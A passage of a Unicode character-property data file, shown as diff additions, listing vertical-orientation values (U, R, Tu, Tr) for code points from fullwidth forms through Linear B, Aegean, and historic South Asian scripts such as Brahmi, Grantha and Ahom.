+FF09 ; Tr # Pe FULLWIDTH RIGHT PARENTHESIS
+FF0A ; U # Po FULLWIDTH ASTERISK
+FF0B ; U # Sm FULLWIDTH PLUS SIGN
+FF0C ; Tu # Po FULLWIDTH COMMA
+FF0D ; R # Pd FULLWIDTH HYPHEN-MINUS
+FF0E ; Tu # Po FULLWIDTH FULL STOP
+FF0F ; U # Po FULLWIDTH SOLIDUS
+FF10..FF19 ; U # Nd [10] FULLWIDTH DIGIT ZERO..FULLWIDTH DIGIT NINE
+FF1A..FF1B ; Tr # Po [2] FULLWIDTH COLON..FULLWIDTH SEMICOLON
+FF1C..FF1E ; R # Sm [3] FULLWIDTH LESS-THAN SIGN..FULLWIDTH GREATER-THAN SIGN
+FF1F ; Tu # Po FULLWIDTH QUESTION MARK
+FF20 ; U # Po FULLWIDTH COMMERCIAL AT
+FF21..FF3A ; U # Lu [26] FULLWIDTH LATIN CAPITAL LETTER A..FULLWIDTH LATIN CAPITAL LETTER Z
+FF3B ; Tr # Ps FULLWIDTH LEFT SQUARE BRACKET
+FF3C ; U # Po FULLWIDTH REVERSE SOLIDUS
+FF3D ; Tr # Pe FULLWIDTH RIGHT SQUARE BRACKET
+FF3E ; U # Sk FULLWIDTH CIRCUMFLEX ACCENT
+FF3F ; Tr # Pc FULLWIDTH LOW LINE
+FF40 ; U # Sk FULLWIDTH GRAVE ACCENT
+FF41..FF5A ; U # Ll [26] FULLWIDTH LATIN SMALL LETTER A..FULLWIDTH LATIN SMALL LETTER Z
+FF5B ; Tr # Ps FULLWIDTH LEFT CURLY BRACKET
+FF5C ; Tr # Sm FULLWIDTH VERTICAL LINE
+FF5D ; Tr # Pe FULLWIDTH RIGHT CURLY BRACKET
+FF5E ; Tr # Sm FULLWIDTH TILDE
+FF5F ; Tr # Ps FULLWIDTH LEFT WHITE PARENTHESIS
+FF60 ; Tr # Pe FULLWIDTH RIGHT WHITE PARENTHESIS
+FF61 ; R # Po HALFWIDTH IDEOGRAPHIC FULL STOP
+FF62 ; R # Ps HALFWIDTH LEFT CORNER BRACKET
+FF63 ; R # Pe HALFWIDTH RIGHT CORNER BRACKET
+FF64..FF65 ; R # Po [2] HALFWIDTH IDEOGRAPHIC COMMA..HALFWIDTH KATAKANA MIDDLE DOT
+FF66..FF6F ; R # Lo [10] HALFWIDTH KATAKANA LETTER WO..HALFWIDTH KATAKANA LETTER SMALL TU
+FF70 ; R # Lm HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK
+FF71..FF9D ; R # Lo [45] HALFWIDTH KATAKANA LETTER A..HALFWIDTH KATAKANA LETTER N
+FF9E..FF9F ; R # Lm [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK
+FFA0..FFBE ; R # Lo [31] HALFWIDTH HANGUL FILLER..HALFWIDTH HANGUL LETTER HIEUH
+FFC2..FFC7 ; R # Lo [6] HALFWIDTH HANGUL LETTER A..HALFWIDTH HANGUL LETTER E
+FFCA..FFCF ; R # Lo [6] HALFWIDTH HANGUL LETTER YEO..HALFWIDTH HANGUL LETTER OE
+FFD2..FFD7 ; R # Lo [6] HALFWIDTH HANGUL LETTER YO..HALFWIDTH HANGUL LETTER YU
+FFDA..FFDC ; R # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER I
+FFE0..FFE1 ; U # Sc [2] FULLWIDTH CENT SIGN..FULLWIDTH POUND SIGN
+FFE2 ; U # Sm FULLWIDTH NOT SIGN
+FFE3 ; Tr # Sk FULLWIDTH MACRON
+FFE4 ; U # So FULLWIDTH BROKEN BAR
+FFE5..FFE6 ; U # Sc [2] FULLWIDTH YEN SIGN..FULLWIDTH WON SIGN
+FFE7 ; U # Cn <reserved-FFE7>
+FFE8 ; R # So HALFWIDTH FORMS LIGHT VERTICAL
+FFE9..FFEC ; R # Sm [4] HALFWIDTH LEFTWARDS ARROW..HALFWIDTH DOWNWARDS ARROW
+FFED..FFEE ; R # So [2] HALFWIDTH BLACK SQUARE..HALFWIDTH WHITE CIRCLE
+FFF0..FFF8 ; U # Cn [9] <reserved-FFF0>..<reserved-FFF8>
+FFF9..FFFB ; R # Cf [3] INTERLINEAR ANNOTATION ANCHOR..INTERLINEAR ANNOTATION TERMINATOR
+FFFC..FFFD ; U # So [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHARACTER
+10000..1000B ; R # Lo [12] LINEAR B SYLLABLE B008 A..LINEAR B SYLLABLE B046 JE
+1000D..10026 ; R # Lo [26] LINEAR B SYLLABLE B036 JO..LINEAR B SYLLABLE B032 QO
+10028..1003A ; R # Lo [19] LINEAR B SYLLABLE B060 RA..LINEAR B SYLLABLE B042 WO
+1003C..1003D ; R # Lo [2] LINEAR B SYLLABLE B017 ZA..LINEAR B SYLLABLE B074 ZE
+1003F..1004D ; R # Lo [15] LINEAR B SYLLABLE B020 ZO..LINEAR B SYLLABLE B091 TWO
+10050..1005D ; R # Lo [14] LINEAR B SYMBOL B018..LINEAR B SYMBOL B089
+10080..100FA ; R # Lo [123] LINEAR B IDEOGRAM B100 MAN..LINEAR B IDEOGRAM VESSEL B305
+10100..10102 ; R # Po [3] AEGEAN WORD SEPARATOR LINE..AEGEAN CHECK MARK
+10107..10133 ; R # No [45] AEGEAN NUMBER ONE..AEGEAN NUMBER NINETY THOUSAND
+10137..1013F ; R # So [9] AEGEAN WEIGHT BASE UNIT..AEGEAN MEASURE THIRD SUBUNIT
+10140..10174 ; R # Nl [53] GREEK ACROPHONIC ATTIC ONE QUARTER..GREEK ACROPHONIC STRATIAN FIFTY MNAS
+10175..10178 ; R # No [4] GREEK ONE HALF SIGN..GREEK THREE QUARTERS SIGN
+10179..10189 ; R # So [17] GREEK YEAR SIGN..GREEK TRYBLION BASE SIGN
+1018A..1018B ; R # No [2] GREEK ZERO SIGN..GREEK ONE QUARTER SIGN
+1018C..1018E ; R # So [3] GREEK SINUSOID SIGN..NOMISMA SIGN
+10190..1019B ; R # So [12] ROMAN SEXTANS SIGN..ROMAN CENTURIAL SIGN
+101A0 ; R # So GREEK SYMBOL TAU RHO
+101D0..101FC ; R # So [45] PHAISTOS DISC SIGN PEDESTRIAN..PHAISTOS DISC SIGN WAVY BAND
+101FD ; R # Mn PHAISTOS DISC SIGN COMBINING OBLIQUE STROKE
+10280..1029C ; R # Lo [29] LYCIAN LETTER A..LYCIAN LETTER X
+102A0..102D0 ; R # Lo [49] CARIAN LETTER A..CARIAN LETTER UUU3
+102E0 ; R # Mn COPTIC EPACT THOUSANDS MARK
+102E1..102FB ; R # No [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED
+10300..1031F ; R # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
+10320..10323 ; R # No [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY
+1032D..1032F ; R # Lo [3] OLD ITALIC LETTER YE..OLD ITALIC LETTER SOUTHERN TSE
+10330..10340 ; R # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+10341 ; R # Nl GOTHIC LETTER NINETY
+10342..10349 ; R # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
+1034A ; R # Nl GOTHIC LETTER NINE HUNDRED
+10350..10375 ; R # Lo [38] OLD PERMIC LETTER AN..OLD PERMIC LETTER IA
+10376..1037A ; R # Mn [5] COMBINING OLD PERMIC LETTER AN..COMBINING OLD PERMIC LETTER SII
+10380..1039D ; R # Lo [30] UGARITIC LETTER ALPA..UGARITIC LETTER SSU
+1039F ; R # Po UGARITIC WORD DIVIDER
+103A0..103C3 ; R # Lo [36] OLD PERSIAN SIGN A..OLD PERSIAN SIGN HA
+103C8..103CF ; R # Lo [8] OLD PERSIAN SIGN AURAMAZDAA..OLD PERSIAN SIGN BUUMISH
+103D0 ; R # Po OLD PERSIAN WORD DIVIDER
+103D1..103D5 ; R # Nl [5] OLD PERSIAN NUMBER ONE..OLD PERSIAN NUMBER HUNDRED
+10400..1044F ; R # L& [80] DESERET CAPITAL LETTER LONG I..DESERET SMALL LETTER EW
+10450..1047F ; R # Lo [48] SHAVIAN LETTER PEEP..SHAVIAN LETTER YEW
+10480..1049D ; R # Lo [30] OSMANYA LETTER ALEF..OSMANYA LETTER OO
+104A0..104A9 ; R # Nd [10] OSMANYA DIGIT ZERO..OSMANYA DIGIT NINE
+104B0..104D3 ; R # Lu [36] OSAGE CAPITAL LETTER A..OSAGE CAPITAL LETTER ZHA
+104D8..104FB ; R # Ll [36] OSAGE SMALL LETTER A..OSAGE SMALL LETTER ZHA
+10500..10527 ; R # Lo [40] ELBASAN LETTER A..ELBASAN LETTER KHE
+10530..10563 ; R # Lo [52] CAUCASIAN ALBANIAN LETTER ALT..CAUCASIAN ALBANIAN LETTER KIW
+1056F ; R # Po CAUCASIAN ALBANIAN CITATION MARK
+10600..10736 ; R # Lo [311] LINEAR A SIGN AB001..LINEAR A SIGN A664
+10740..10755 ; R # Lo [22] LINEAR A SIGN A701 A..LINEAR A SIGN A732 JE
+10760..10767 ; R # Lo [8] LINEAR A SIGN A800..LINEAR A SIGN A807
+10800..10805 ; R # Lo [6] CYPRIOT SYLLABLE A..CYPRIOT SYLLABLE JA
+10808 ; R # Lo CYPRIOT SYLLABLE JO
+1080A..10835 ; R # Lo [44] CYPRIOT SYLLABLE KA..CYPRIOT SYLLABLE WO
+10837..10838 ; R # Lo [2] CYPRIOT SYLLABLE XA..CYPRIOT SYLLABLE XE
+1083C ; R # Lo CYPRIOT SYLLABLE ZA
+1083F ; R # Lo CYPRIOT SYLLABLE ZO
+10840..10855 ; R # Lo [22] IMPERIAL ARAMAIC LETTER ALEPH..IMPERIAL ARAMAIC LETTER TAW
+10857 ; R # Po IMPERIAL ARAMAIC SECTION SIGN
+10858..1085F ; R # No [8] IMPERIAL ARAMAIC NUMBER ONE..IMPERIAL ARAMAIC NUMBER TEN THOUSAND
+10860..10876 ; R # Lo [23] PALMYRENE LETTER ALEPH..PALMYRENE LETTER TAW
+10877..10878 ; R # So [2] PALMYRENE LEFT-POINTING FLEURON..PALMYRENE RIGHT-POINTING FLEURON
+10879..1087F ; R # No [7] PALMYRENE NUMBER ONE..PALMYRENE NUMBER TWENTY
+10880..1089E ; R # Lo [31] NABATAEAN LETTER FINAL ALEPH..NABATAEAN LETTER TAW
+108A7..108AF ; R # No [9] NABATAEAN NUMBER ONE..NABATAEAN NUMBER ONE HUNDRED
+108E0..108F2 ; R # Lo [19] HATRAN LETTER ALEPH..HATRAN LETTER QOPH
+108F4..108F5 ; R # Lo [2] HATRAN LETTER SHIN..HATRAN LETTER TAW
+108FB..108FF ; R # No [5] HATRAN NUMBER ONE..HATRAN NUMBER ONE HUNDRED
+10900..10915 ; R # Lo [22] PHOENICIAN LETTER ALF..PHOENICIAN LETTER TAU
+10916..1091B ; R # No [6] PHOENICIAN NUMBER ONE..PHOENICIAN NUMBER THREE
+1091F ; R # Po PHOENICIAN WORD SEPARATOR
+10920..10939 ; R # Lo [26] LYDIAN LETTER A..LYDIAN LETTER C
+1093F ; R # Po LYDIAN TRIANGULAR MARK
+10980..1099F ; U # Lo [32] MEROITIC HIEROGLYPHIC LETTER A..MEROITIC HIEROGLYPHIC SYMBOL VIDJ-2
+109A0..109B7 ; R # Lo [24] MEROITIC CURSIVE LETTER A..MEROITIC CURSIVE LETTER DA
+109BC..109BD ; R # No [2] MEROITIC CURSIVE FRACTION ELEVEN TWELFTHS..MEROITIC CURSIVE FRACTION ONE HALF
+109BE..109BF ; R # Lo [2] MEROITIC CURSIVE LOGOGRAM RMT..MEROITIC CURSIVE LOGOGRAM IMN
+109C0..109CF ; R # No [16] MEROITIC CURSIVE NUMBER ONE..MEROITIC CURSIVE NUMBER SEVENTY
+109D2..109FF ; R # No [46] MEROITIC CURSIVE NUMBER ONE HUNDRED..MEROITIC CURSIVE FRACTION TEN TWELFTHS
+10A00 ; R # Lo KHAROSHTHI LETTER A
+10A01..10A03 ; R # Mn [3] KHAROSHTHI VOWEL SIGN I..KHAROSHTHI VOWEL SIGN VOCALIC R
+10A05..10A06 ; R # Mn [2] KHAROSHTHI VOWEL SIGN E..KHAROSHTHI VOWEL SIGN O
+10A0C..10A0F ; R # Mn [4] KHAROSHTHI VOWEL LENGTH MARK..KHAROSHTHI SIGN VISARGA
+10A10..10A13 ; R # Lo [4] KHAROSHTHI LETTER KA..KHAROSHTHI LETTER GHA
+10A15..10A17 ; R # Lo [3] KHAROSHTHI LETTER CA..KHAROSHTHI LETTER JA
+10A19..10A33 ; R # Lo [27] KHAROSHTHI LETTER NYA..KHAROSHTHI LETTER TTTHA
+10A38..10A3A ; R # Mn [3] KHAROSHTHI SIGN BAR ABOVE..KHAROSHTHI SIGN DOT BELOW
+10A3F ; R # Mn KHAROSHTHI VIRAMA
+10A40..10A47 ; R # No [8] KHAROSHTHI DIGIT ONE..KHAROSHTHI NUMBER ONE THOUSAND
+10A50..10A58 ; R # Po [9] KHAROSHTHI PUNCTUATION DOT..KHAROSHTHI PUNCTUATION LINES
+10A60..10A7C ; R # Lo [29] OLD SOUTH ARABIAN LETTER HE..OLD SOUTH ARABIAN LETTER THETH
+10A7D..10A7E ; R # No [2] OLD SOUTH ARABIAN NUMBER ONE..OLD SOUTH ARABIAN NUMBER FIFTY
+10A7F ; R # Po OLD SOUTH ARABIAN NUMERIC INDICATOR
+10A80..10A9C ; R # Lo [29] OLD NORTH ARABIAN LETTER HEH..OLD NORTH ARABIAN LETTER ZAH
+10A9D..10A9F ; R # No [3] OLD NORTH ARABIAN NUMBER ONE..OLD NORTH ARABIAN NUMBER TWENTY
+10AC0..10AC7 ; R # Lo [8] MANICHAEAN LETTER ALEPH..MANICHAEAN LETTER WAW
+10AC8 ; R # So MANICHAEAN SIGN UD
+10AC9..10AE4 ; R # Lo [28] MANICHAEAN LETTER ZAYIN..MANICHAEAN LETTER TAW
+10AE5..10AE6 ; R # Mn [2] MANICHAEAN ABBREVIATION MARK ABOVE..MANICHAEAN ABBREVIATION MARK BELOW
+10AEB..10AEF ; R # No [5] MANICHAEAN NUMBER ONE..MANICHAEAN NUMBER ONE HUNDRED
+10AF0..10AF6 ; R # Po [7] MANICHAEAN PUNCTUATION STAR..MANICHAEAN PUNCTUATION LINE FILLER
+10B00..10B35 ; R # Lo [54] AVESTAN LETTER A..AVESTAN LETTER HE
+10B39..10B3F ; R # Po [7] AVESTAN ABBREVIATION MARK..LARGE ONE RING OVER TWO RINGS PUNCTUATION
+10B40..10B55 ; R # Lo [22] INSCRIPTIONAL PARTHIAN LETTER ALEPH..INSCRIPTIONAL PARTHIAN LETTER TAW
+10B58..10B5F ; R # No [8] INSCRIPTIONAL PARTHIAN NUMBER ONE..INSCRIPTIONAL PARTHIAN NUMBER ONE THOUSAND
+10B60..10B72 ; R # Lo [19] INSCRIPTIONAL PAHLAVI LETTER ALEPH..INSCRIPTIONAL PAHLAVI LETTER TAW
+10B78..10B7F ; R # No [8] INSCRIPTIONAL PAHLAVI NUMBER ONE..INSCRIPTIONAL PAHLAVI NUMBER ONE THOUSAND
+10B80..10B91 ; R # Lo [18] PSALTER PAHLAVI LETTER ALEPH..PSALTER PAHLAVI LETTER TAW
+10B99..10B9C ; R # Po [4] PSALTER PAHLAVI SECTION MARK..PSALTER PAHLAVI FOUR DOTS WITH DOT
+10BA9..10BAF ; R # No [7] PSALTER PAHLAVI NUMBER ONE..PSALTER PAHLAVI NUMBER ONE HUNDRED
+10C00..10C48 ; R # Lo [73] OLD TURKIC LETTER ORKHON A..OLD TURKIC LETTER ORKHON BASH
+10C80..10CB2 ; R # Lu [51] OLD HUNGARIAN CAPITAL LETTER A..OLD HUNGARIAN CAPITAL LETTER US
+10CC0..10CF2 ; R # Ll [51] OLD HUNGARIAN SMALL LETTER A..OLD HUNGARIAN SMALL LETTER US
+10CFA..10CFF ; R # No [6] OLD HUNGARIAN NUMBER ONE..OLD HUNGARIAN NUMBER ONE THOUSAND
+10E60..10E7E ; R # No [31] RUMI DIGIT ONE..RUMI FRACTION TWO THIRDS
+11000 ; R # Mc BRAHMI SIGN CANDRABINDU
+11001 ; R # Mn BRAHMI SIGN ANUSVARA
+11002 ; R # Mc BRAHMI SIGN VISARGA
+11003..11037 ; R # Lo [53] BRAHMI SIGN JIHVAMULIYA..BRAHMI LETTER OLD TAMIL NNNA
+11038..11046 ; R # Mn [15] BRAHMI VOWEL SIGN AA..BRAHMI VIRAMA
+11047..1104D ; R # Po [7] BRAHMI DANDA..BRAHMI PUNCTUATION LOTUS
+11052..11065 ; R # No [20] BRAHMI NUMBER ONE..BRAHMI NUMBER ONE THOUSAND
+11066..1106F ; R # Nd [10] BRAHMI DIGIT ZERO..BRAHMI DIGIT NINE
+1107F ; R # Mn BRAHMI NUMBER JOINER
+11080..11081 ; R # Mn [2] KAITHI SIGN CANDRABINDU..KAITHI SIGN ANUSVARA
+11082 ; R # Mc KAITHI SIGN VISARGA
+11083..110AF ; R # Lo [45] KAITHI LETTER A..KAITHI LETTER HA
+110B0..110B2 ; R # Mc [3] KAITHI VOWEL SIGN AA..KAITHI VOWEL SIGN II
+110B3..110B6 ; R # Mn [4] KAITHI VOWEL SIGN U..KAITHI VOWEL SIGN AI
+110B7..110B8 ; R # Mc [2] KAITHI VOWEL SIGN O..KAITHI VOWEL SIGN AU
+110B9..110BA ; R # Mn [2] KAITHI SIGN VIRAMA..KAITHI SIGN NUKTA
+110BB..110BC ; R # Po [2] KAITHI ABBREVIATION SIGN..KAITHI ENUMERATION SIGN
+110BD ; R # Cf KAITHI NUMBER SIGN
+110BE..110C1 ; R # Po [4] KAITHI SECTION MARK..KAITHI DOUBLE DANDA
+110D0..110E8 ; R # Lo [25] SORA SOMPENG LETTER SAH..SORA SOMPENG LETTER MAE
+110F0..110F9 ; R # Nd [10] SORA SOMPENG DIGIT ZERO..SORA SOMPENG DIGIT NINE
+11100..11102 ; R # Mn [3] CHAKMA SIGN CANDRABINDU..CHAKMA SIGN VISARGA
+11103..11126 ; R # Lo [36] CHAKMA LETTER AA..CHAKMA LETTER HAA
+11127..1112B ; R # Mn [5] CHAKMA VOWEL SIGN A..CHAKMA VOWEL SIGN UU
+1112C ; R # Mc CHAKMA VOWEL SIGN E
+1112D..11134 ; R # Mn [8] CHAKMA VOWEL SIGN AI..CHAKMA MAAYYAA
+11136..1113F ; R # Nd [10] CHAKMA DIGIT ZERO..CHAKMA DIGIT NINE
+11140..11143 ; R # Po [4] CHAKMA SECTION MARK..CHAKMA QUESTION MARK
+11150..11172 ; R # Lo [35] MAHAJANI LETTER A..MAHAJANI LETTER RRA
+11173 ; R # Mn MAHAJANI SIGN NUKTA
+11174..11175 ; R # Po [2] MAHAJANI ABBREVIATION SIGN..MAHAJANI SECTION MARK
+11176 ; R # Lo MAHAJANI LIGATURE SHRI
+11180..11181 ; R # Mn [2] SHARADA SIGN CANDRABINDU..SHARADA SIGN ANUSVARA
+11182 ; R # Mc SHARADA SIGN VISARGA
+11183..111B2 ; R # Lo [48] SHARADA LETTER A..SHARADA LETTER HA
+111B3..111B5 ; R # Mc [3] SHARADA VOWEL SIGN AA..SHARADA VOWEL SIGN II
+111B6..111BE ; R # Mn [9] SHARADA VOWEL SIGN U..SHARADA VOWEL SIGN O
+111BF..111C0 ; R # Mc [2] SHARADA VOWEL SIGN AU..SHARADA SIGN VIRAMA
+111C1..111C4 ; R # Lo [4] SHARADA SIGN AVAGRAHA..SHARADA OM
+111C5..111C9 ; R # Po [5] SHARADA DANDA..SHARADA SANDHI MARK
+111CA..111CC ; R # Mn [3] SHARADA SIGN NUKTA..SHARADA EXTRA SHORT VOWEL MARK
+111CD ; R # Po SHARADA SUTRA MARK
+111D0..111D9 ; R # Nd [10] SHARADA DIGIT ZERO..SHARADA DIGIT NINE
+111DA ; R # Lo SHARADA EKAM
+111DB ; R # Po SHARADA SIGN SIDDHAM
+111DC ; R # Lo SHARADA HEADSTROKE
+111DD..111DF ; R # Po [3] SHARADA CONTINUATION SIGN..SHARADA SECTION MARK-2
+111E1..111F4 ; R # No [20] SINHALA ARCHAIC DIGIT ONE..SINHALA ARCHAIC NUMBER ONE THOUSAND
+11200..11211 ; R # Lo [18] KHOJKI LETTER A..KHOJKI LETTER JJA
+11213..1122B ; R # Lo [25] KHOJKI LETTER NYA..KHOJKI LETTER LLA
+1122C..1122E ; R # Mc [3] KHOJKI VOWEL SIGN AA..KHOJKI VOWEL SIGN II
+1122F..11231 ; R # Mn [3] KHOJKI VOWEL SIGN U..KHOJKI VOWEL SIGN AI
+11232..11233 ; R # Mc [2] KHOJKI VOWEL SIGN O..KHOJKI VOWEL SIGN AU
+11234 ; R # Mn KHOJKI SIGN ANUSVARA
+11235 ; R # Mc KHOJKI SIGN VIRAMA
+11236..11237 ; R # Mn [2] KHOJKI SIGN NUKTA..KHOJKI SIGN SHADDA
+11238..1123D ; R # Po [6] KHOJKI DANDA..KHOJKI ABBREVIATION SIGN
+1123E ; R # Mn KHOJKI SIGN SUKUN
+11280..11286 ; R # Lo [7] MULTANI LETTER A..MULTANI LETTER GA
+11288 ; R # Lo MULTANI LETTER GHA
+1128A..1128D ; R # Lo [4] MULTANI LETTER CA..MULTANI LETTER JJA
+1128F..1129D ; R # Lo [15] MULTANI LETTER NYA..MULTANI LETTER BA
+1129F..112A8 ; R # Lo [10] MULTANI LETTER BHA..MULTANI LETTER RHA
+112A9 ; R # Po MULTANI SECTION MARK
+112B0..112DE ; R # Lo [47] KHUDAWADI LETTER A..KHUDAWADI LETTER HA
+112DF ; R # Mn KHUDAWADI SIGN ANUSVARA
+112E0..112E2 ; R # Mc [3] KHUDAWADI VOWEL SIGN AA..KHUDAWADI VOWEL SIGN II
+112E3..112EA ; R # Mn [8] KHUDAWADI VOWEL SIGN U..KHUDAWADI SIGN VIRAMA
+112F0..112F9 ; R # Nd [10] KHUDAWADI DIGIT ZERO..KHUDAWADI DIGIT NINE
+11300..11301 ; R # Mn [2] GRANTHA SIGN COMBINING ANUSVARA ABOVE..GRANTHA SIGN CANDRABINDU
+11302..11303 ; R # Mc [2] GRANTHA SIGN ANUSVARA..GRANTHA SIGN VISARGA
+11305..1130C ; R # Lo [8] GRANTHA LETTER A..GRANTHA LETTER VOCALIC L
+1130F..11310 ; R # Lo [2] GRANTHA LETTER EE..GRANTHA LETTER AI
+11313..11328 ; R # Lo [22] GRANTHA LETTER OO..GRANTHA LETTER NA
+1132A..11330 ; R # Lo [7] GRANTHA LETTER PA..GRANTHA LETTER RA
+11332..11333 ; R # Lo [2] GRANTHA LETTER LA..GRANTHA LETTER LLA
+11335..11339 ; R # Lo [5] GRANTHA LETTER VA..GRANTHA LETTER HA
+1133C ; R # Mn GRANTHA SIGN NUKTA
+1133D ; R # Lo GRANTHA SIGN AVAGRAHA
+1133E..1133F ; R # Mc [2] GRANTHA VOWEL SIGN AA..GRANTHA VOWEL SIGN I
+11340 ; R # Mn GRANTHA VOWEL SIGN II
+11341..11344 ; R # Mc [4] GRANTHA VOWEL SIGN U..GRANTHA VOWEL SIGN VOCALIC RR
+11347..11348 ; R # Mc [2] GRANTHA VOWEL SIGN EE..GRANTHA VOWEL SIGN AI
+1134B..1134D ; R # Mc [3] GRANTHA VOWEL SIGN OO..GRANTHA SIGN VIRAMA
+11350 ; R # Lo GRANTHA OM
+11357 ; R # Mc GRANTHA AU LENGTH MARK
+1135D..11361 ; R # Lo [5] GRANTHA SIGN PLUTA..GRANTHA LETTER VOCALIC LL
+11362..11363 ; R # Mc [2] GRANTHA VOWEL SIGN VOCALIC L..GRANTHA VOWEL SIGN VOCALIC LL
+11366..1136C ; R # Mn [7] COMBINING GRANTHA DIGIT ZERO..COMBINING GRANTHA DIGIT SIX
+11370..11374 ; R # Mn [5] COMBINING GRANTHA LETTER A..COMBINING GRANTHA LETTER PA
+11400..11434 ; R # Lo [53] NEWA LETTER A..NEWA LETTER HA
+11435..11437 ; R # Mc [3] NEWA VOWEL SIGN AA..NEWA VOWEL SIGN II
+11438..1143F ; R # Mn [8] NEWA VOWEL SIGN U..NEWA VOWEL SIGN AI
+11440..11441 ; R # Mc [2] NEWA VOWEL SIGN O..NEWA VOWEL SIGN AU
+11442..11444 ; R # Mn [3] NEWA SIGN VIRAMA..NEWA SIGN ANUSVARA
+11445 ; R # Mc NEWA SIGN VISARGA
+11446 ; R # Mn NEWA SIGN NUKTA
+11447..1144A ; R # Lo [4] NEWA SIGN AVAGRAHA..NEWA SIDDHI
+1144B..1144F ; R # Po [5] NEWA DANDA..NEWA ABBREVIATION SIGN
+11450..11459 ; R # Nd [10] NEWA DIGIT ZERO..NEWA DIGIT NINE
+1145B ; R # Po NEWA PLACEHOLDER MARK
+1145D ; R # Po NEWA INSERTION SIGN
+11480..114AF ; R # Lo [48] TIRHUTA ANJI..TIRHUTA LETTER HA
+114B0..114B2 ; R # Mc [3] TIRHUTA VOWEL SIGN AA..TIRHUTA VOWEL SIGN II
+114B3..114B8 ; R # Mn [6] TIRHUTA VOWEL SIGN U..TIRHUTA VOWEL SIGN VOCALIC LL
+114B9 ; R # Mc TIRHUTA VOWEL SIGN E
+114BA ; R # Mn TIRHUTA VOWEL SIGN SHORT E
+114BB..114BE ; R # Mc [4] TIRHUTA VOWEL SIGN AI..TIRHUTA VOWEL SIGN AU
+114BF..114C0 ; R # Mn [2] TIRHUTA SIGN CANDRABINDU..TIRHUTA SIGN ANUSVARA
+114C1 ; R # Mc TIRHUTA SIGN VISARGA
+114C2..114C3 ; R # Mn [2] TIRHUTA SIGN VIRAMA..TIRHUTA SIGN NUKTA
+114C4..114C5 ; R # Lo [2] TIRHUTA SIGN AVAGRAHA..TIRHUTA GVANG
+114C6 ; R # Po TIRHUTA ABBREVIATION SIGN
+114C7 ; R # Lo TIRHUTA OM
+114D0..114D9 ; R # Nd [10] TIRHUTA DIGIT ZERO..TIRHUTA DIGIT NINE
+11580..115AE ; U # Lo [47] SIDDHAM LETTER A..SIDDHAM LETTER HA
+115AF..115B1 ; U # Mc [3] SIDDHAM VOWEL SIGN AA..SIDDHAM VOWEL SIGN II
+115B2..115B5 ; U # Mn [4] SIDDHAM VOWEL SIGN U..SIDDHAM VOWEL SIGN VOCALIC RR
+115B6..115B7 ; U # Cn [2] <reserved-115B6>..<reserved-115B7>
+115B8..115BB ; U # Mc [4] SIDDHAM VOWEL SIGN E..SIDDHAM VOWEL SIGN AU
+115BC..115BD ; U # Mn [2] SIDDHAM SIGN CANDRABINDU..SIDDHAM SIGN ANUSVARA
+115BE ; U # Mc SIDDHAM SIGN VISARGA
+115BF..115C0 ; U # Mn [2] SIDDHAM SIGN VIRAMA..SIDDHAM SIGN NUKTA
+115C1..115D7 ; U # Po [23] SIDDHAM SIGN SIDDHAM..SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES
+115D8..115DB ; U # Lo [4] SIDDHAM LETTER THREE-CIRCLE ALTERNATE I..SIDDHAM LETTER ALTERNATE U
+115DC..115DD ; U # Mn [2] SIDDHAM VOWEL SIGN ALTERNATE U..SIDDHAM VOWEL SIGN ALTERNATE UU
+115DE..115FF ; U # Cn [34] <reserved-115DE>..<reserved-115FF>
+11600..1162F ; R # Lo [48] MODI LETTER A..MODI LETTER LLA
+11630..11632 ; R # Mc [3] MODI VOWEL SIGN AA..MODI VOWEL SIGN II
+11633..1163A ; R # Mn [8] MODI VOWEL SIGN U..MODI VOWEL SIGN AI
+1163B..1163C ; R # Mc [2] MODI VOWEL SIGN O..MODI VOWEL SIGN AU
+1163D ; R # Mn MODI SIGN ANUSVARA
+1163E ; R # Mc MODI SIGN VISARGA
+1163F..11640 ; R # Mn [2] MODI SIGN VIRAMA..MODI SIGN ARDHACANDRA
+11641..11643 ; R # Po [3] MODI DANDA..MODI ABBREVIATION SIGN
+11644 ; R # Lo MODI SIGN HUVA
+11650..11659 ; R # Nd [10] MODI DIGIT ZERO..MODI DIGIT NINE
+11660..1166C ; R # Po [13] MONGOLIAN BIRGA WITH ORNAMENT..MONGOLIAN TURNED SWIRL BIRGA WITH DOUBLE ORNAMENT
+11680..116AA ; R # Lo [43] TAKRI LETTER A..TAKRI LETTER RRA
+116AB ; R # Mn TAKRI SIGN ANUSVARA
+116AC ; R # Mc TAKRI SIGN VISARGA
+116AD ; R # Mn TAKRI VOWEL SIGN AA
+116AE..116AF ; R # Mc [2] TAKRI VOWEL SIGN I..TAKRI VOWEL SIGN II
+116B0..116B5 ; R # Mn [6] TAKRI VOWEL SIGN U..TAKRI VOWEL SIGN AU
+116B6 ; R # Mc TAKRI SIGN VIRAMA
+116B7 ; R # Mn TAKRI SIGN NUKTA
+116C0..116C9 ; R # Nd [10] TAKRI DIGIT ZERO..TAKRI DIGIT NINE
+11700..11719 ; R # Lo [26] AHOM LETTER KA..AHOM LETTER JHA
+1171D..1171F ; R # Mn [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA
+11720..11721 ; R # Mc [2] AHOM VOWEL SIGN A..AHOM VOWEL SIGN AA
+11722..11725 ; R # Mn [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU
+11726 ; R # Mc AHOM VOWEL SIGN E
+11727..1172B ; R # Mn [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER
+11730..11739 ; R # Nd [10] AHOM DIGIT ZERO..AHOM DIGIT NINE
+1173A..1173B ; R # No [2] AHOM NUMBER TEN..AHOM NUMBER TWENTY
+1173C..1173E ; R # Po [3] AHOM SIGN SMALL SECTION..AHOM SIGN RULAI
+1173F ; R # So AHOM SYMBOL VI
